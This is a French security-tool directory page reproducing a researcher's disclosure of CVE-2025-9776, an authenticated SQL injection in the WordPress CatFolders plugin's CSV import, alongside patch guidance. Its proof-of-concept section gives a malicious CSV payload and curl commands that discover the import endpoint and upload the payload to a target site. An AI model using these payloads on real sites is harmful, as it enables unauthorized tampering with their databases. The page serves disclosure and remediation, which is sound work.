Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/snailsploit/cve-2025-9776
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionArticles et RechercheApprentissage et Éducation
GitHubsnailsploit/cve-2025-9776

CVE-2025-9776

CVE-2025-9776 — Plugin WordPress CatFolders : Injection SQL authentifiée via l'import CSV | POC + Procédure pas à pas

Voir le dépôt
13il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-9776 : Injection SQL authentifiée dans le plugin WordPress CatFolders

CVE CVSS Score WordPress Plugin CWE-89 Wordfence

Mots-clés : CVE-2025-9776, vulnérabilité WordPress CatFolders, injection SQL WordPress, injection SQL authentifiée, sécurité WordPress, vulnérabilité d'import CSV, exploit de plugin WordPress, CWE-89, attaque de base de données WordPress, vulnérabilité de médiathèque, WordPress CVE 2025

Table des matières

  • Présentation
  • Détails de la vulnérabilité
  • Analyse technique
  • Preuve de concept
  • Guide de correction
  • Métriques CVSS
  • Références
  • Contact sécurité
  • Présentation

    Une vulnérabilité d'injection SQL authentifiée a été découverte dans le plugin WordPress CatFolders, permettant aux utilisateurs de niveau Auteur de manipuler des requêtes de base de données via des importations CSV malveillantes.

    Découvert par : Kai Aizen (SnailSploit)
    Publié : 2025
    Score CVSS : 6.5 (Moyen)
    CWE : CWE-89 - Injection SQL

    Détails de la vulnérabilité

    Description

    CatFolders – Tame Your WordPress Media Library by Category contient une vulnérabilité d'injection SQL authentifiée dans la fonctionnalité d'import CSV. La colonne attachments d'un CSV fourni par l'utilisateur est divisée en une liste et passée directement à FolderModel::set_attachments(), qui concatène ces valeurs dans des clauses IN (...) SQL brutes sans échappement ni paramétrage appropriés.

    Impact

    Cette vulnérabilité permet à des attaquants authentifiés disposant de privilèges de niveau Auteur de :

    • Exécuter des requêtes SQL arbitraires
    • Supprimer ou manipuler en masse les associations dossier-pièce jointe
    • Exposer potentiellement des données selon la charge utile et la structure de la base de données
    • Compromettre l'intégrité et la disponibilité de la base de données

    Versions concernées

    • Vulnérables : Toutes les versions ≤ 2.5.2
    • Corrigées : Version 2.5.3 et ultérieures (vérifier auprès de l'éditeur)

    Métriques CVSS v3.1

    root@kitploit:~
    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
    
    MétriqueValeur
    Vecteur d'attaqueRéseau (AV:N)
    Complexité d'attaqueFaible (AC:L)
    Privilèges requisFaible (PR:L) - Auteur+
    Interaction utilisateurAucune (UI:N)
    PérimètreInchangé (S:U)
    ConfidentialitéAucune (C:N)
    IntégritéFaible (I:L)
    DisponibilitéFaible (A:L)

    Analyse technique

    Chemin de code vulnérable

    La vulnérabilité existe dans le flux d'import CSV :

    Fichier : includes/Rest/Controllers/ImportController.php

    1. La méthode import_csv analyse le CSV téléchargé sans échappement par champ
    2. restore_folders() appelle :
    root@kitploit:~
    FolderModel::set_attachments( 
        $new_folder['id'], 
        explode(',', $folder['attachments']), 
        false 
    );
    

    Fichier : includes/Models/FolderModel.php

    1. set_attachments() construit une requête SQL brute par concaténation de chaînes :
    root@kitploit:~
    'raw' => 'post_id IN (' . $attachmentIds . ')'
    
    1. Chaque élément n'est pas converti en entier ni paramétré, permettant une injection SQL

    Vecteur d'attaque

    Un attaquant disposant de privilèges de niveau Auteur (capacité upload_files) peut injecter du SQL malveillant via le point de terminaison d'import CSV :

    Charge utile CSV malveillante :

    root@kitploit:~
    id,name,attachments
    1,Test Folder,"1) OR 1=1--"
    

    Requête vulnérable résultante :

    root@kitploit:~
    SELECT folder_id FROM wp_catf_folder_posts 
    WHERE post_id IN (1) OR 1=1--)
    

    Cela sort de la clause IN(...) et modifie la sémantique de la requête, affectant potentiellement toutes les lignes.

    Prérequis

    • Compte de niveau Auteur (ou supérieur) sur le site WordPress cible
    • Plugin CatFolders installé et actif
    • Accès au point de terminaison d'import de l'API REST

    Preuve de concept

    Étape 1 : Découvrir l'espace de noms REST

    root@kitploit:~
    curl -s https://target.site/wp-json | jq -r '.routes | keys[]' | grep '/import-csv$'
    

    Résultat typique : /catf/v1/import-csv

    Étape 2 : Préparer le CSV malveillant

    Créez un fichier nommé catf_inject.csv :

    root@kitploit:~
    id,name,attachments
    1,Malicious Folder,"1) OR 1=1--"
    

    Étape 3 : Exécuter l'attaque

    root@kitploit:~
    NS="/catf/v1"  # Remplacer par l'espace de noms découvert
    
    curl -i \
      -u 'author_user:APPLICATION_PASSWORD' \
      -F "file=@catf_inject.csv;type=text/csv" \
      -X POST "https://target.site/wp-json${NS}/import-csv"
    

    Réponse attendue :

    root@kitploit:~
    { "success": true }
    

    Démonstration d'impact

    Le serveur construit et exécute :

    root@kitploit:~
    SELECT folder_id FROM wp_catf_folder_posts WHERE post_id IN (1) OR 1=1--)
    

    Cela peut effectuer des opérations DELETE/INSERT plus larges que prévu, effaçant souvent les relations dossier-pièce jointe sur l'ensemble de la base de données.

    Environnement de test sécurisé

    Exécutez la simulation SQLite autonome pour observer la vulnérabilité en toute sécurité :

    root@kitploit:~
    python3 poc/catfolders_sql_poc.py
    

    Ceci affiche la requête vulnérable et montre comment un jeton malveillant renvoie toutes les lignes, tandis qu'une version paramétrée le rejette correctement.

    Correction

    Pour les administrateurs de sites

    Action immédiate requise :

    1. Mettre à jour CatFolders vers la version 2.5.3 ou ultérieure
    2. Vérifier les comptes utilisateurs disposant de privilèges de niveau Auteur ou supérieur
    3. Auditer les journaux de base de données pour détecter les requêtes suspectes entre les dates concernées
    4. Vérifier les associations dossier-pièce jointe pour d'éventuelles modifications inattendues

    Pour les développeurs

    Deux étapes minimales de durcissement :

    1. Échapper les identifiants avant d'appeler le modèle

    root@kitploit:~
    - FolderModel::set_attachments( $new_folder['id'], explode(',', $folder['attachments']), false );
    + $ids = array_filter( array_map( 'intval', explode(',', $folder['attachments']) ) );
    + if ( ! empty( $ids ) ) {
    +     FolderModel::set_attachments( (int) $new_folder['id'], $ids, false );
    + }
    

    2. Forcer les entiers dans set_attachments()

    root@kitploit:~
      $imgIds = apply_filters( 'catf_attachment_ids_to_folder', $imgIds );
    + $imgIds = array_values( array_filter( array_map( 'intval', (array) $imgIds ) ) );
    

    Recommandation plus forte

    Remplacez toutes les concaténations SQL brutes par des requêtes paramétrées utilisant $wpdb->prepare() de WordPress :

    root@kitploit:~
    $placeholders = implode(',', array_fill(0, count($imgIds), '%d'));
    $query = $wpdb->prepare(
        "SELECT folder_id FROM {$wpdb->prefix}catf_folder_posts WHERE post_id IN ($placeholders)",
        ...$imgIds
    );
    

    En outre :

    • Valider strictement tous les champs CSV avant traitement
    • Mettre en œuvre une validation de type d'entrée au niveau de l'API
    • Ajouter une limitation de débit au point de terminaison d'import
    • Journaliser toutes les opérations d'import pour les pistes d'audit

    Fichier de correctif

    Un correctif complet est disponible dans patch/catfolders_fix.patch

    Structure du dépôt

    root@kitploit:~
    CVE-2025-9776/
    ├── README.md                    # Ce fichier
    ├── poc/
    │   ├── catf_inject.csv         # Charge utile CSV malveillante
    │   └── catfolders_sql_poc.py   # Simulation SQLite sécurisée
    └── patch/
        └── catfolders_fix.patch    # Correctifs recommandés
    ## Chronologie
    
    - **Date de découverte :** 2025
    - **Notification de l'éditeur :** Divulgation coordonnée via Wordfence
    - **Divulgation publique :** 2025
    - **Correctif disponible :** Version 2.5.3
    
    ## Références
    
    - [Entrée CVE du MITRE](https://www.cve.org/CVERecord?id=CVE-2025-9776)
    - [Avis Wordfence Intelligence](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/catfolders/catfolders-tame-your-wordpress-media-library-by-category-252-authenticated-author-sql-injection-via-csv-import)
    - [Annuaire des plugins WordPress](https://wordpress.org/plugins/catfolders/)
    - [Recherche SnailSploit](https://snailsploit.com)
    
    ## Crédits
    
    **Chercheur :** Kai Aizen (SnailSploit)
    
    **Processus de divulgation :** Coordonné via le programme de bug bounty Wordfence
    
    ## Considérations éthiques
    
    **⚠️ AVIS IMPORTANT**
    
    Cette preuve de concept est fournie **exclusivement à des fins de recherche défensive et d'éducation**.
    
    ### Directives d'utilisation
    
    - ✅ **À FAIRE :** Tester sur vos propres systèmes ou avec une autorisation écrite explicite
    - ✅ **À FAIRE :** Utiliser pour la formation et la sensibilisation à la sécurité
    - ✅ **À FAIRE :** Mettre en œuvre les correctifs dans votre propre code
    - ❌ **À NE PAS FAIRE :** Tester contre des systèmes sans autorisation
    - ❌ **À NE PAS FAIRE :** Utiliser à des fins malveillantes
    - ❌ **À NE PAS FAIRE :** Exploiter dans des environnements de production
    
    ### Avis légal
    
    L'accès non autorisé à des systèmes informatiques est illégal en vertu des lois suivantes :
    - Computer Fraud and Abuse Act (CFAA) - États-Unis
    - Computer Misuse Act - Royaume-Uni  
    - Législations similaires dans d'autres juridictions
    
    **À utiliser à vos propres risques. Les chercheurs et SnailSploit déclinent toute responsabilité en cas d'utilisation abusive de ces informations.**
    
    ## Contact
    
    Pour toute question ou information complémentaire sur cette vulnérabilité :
    - **Email :** [email protected]
    - **LinkedIn :** [linkedin.com/in/kaiaizen](https://linkedin.com/in/kaiaizen)
    - **Site Web :** [snailsploit.com](https://snailsploit.com)
    - **Organisation :** SnailSploit Security Research
    
    ---
    
    **Restez en sécurité et maintenez vos installations WordPress à jour !**
    
    *Dernière mise à jour : 13 octobre 2025*
    
    <!-- snailsploit-backlink:start -->
    
    ---
    
    ## 📚 Documentation et auteur
    
    L'article complet, la méthodologie et les recherches associées de ce projet se trouvent sur :
    
    **[https://snailsploit.com/security-research/cves/cve-2025-9776/](https://snailsploit.com/security-research/cves/cve-2025-9776/)**
    
    Créé par **Kai Aizen** — chercheur indépendant en sécurité offensive.
    
    [snailsploit.com](https://snailsploit.com) · [Recherche](https://snailsploit.com/research) · [Frameworks](https://snailsploit.com/frameworks) · [GitHub](https://github.com/SnailSploit) · [LinkedIn](https://linkedin.com/in/kaiaizen) · [ResearchGate](https://www.researchgate.net/profile/Kai-Aizen-2) · [X/Twitter](https://x.com/SnailSploit)
    
    > *Même attaque. Substrat différent.*
    
    <!-- snailsploit-backlink:end -->
    
    Télécharger l’outil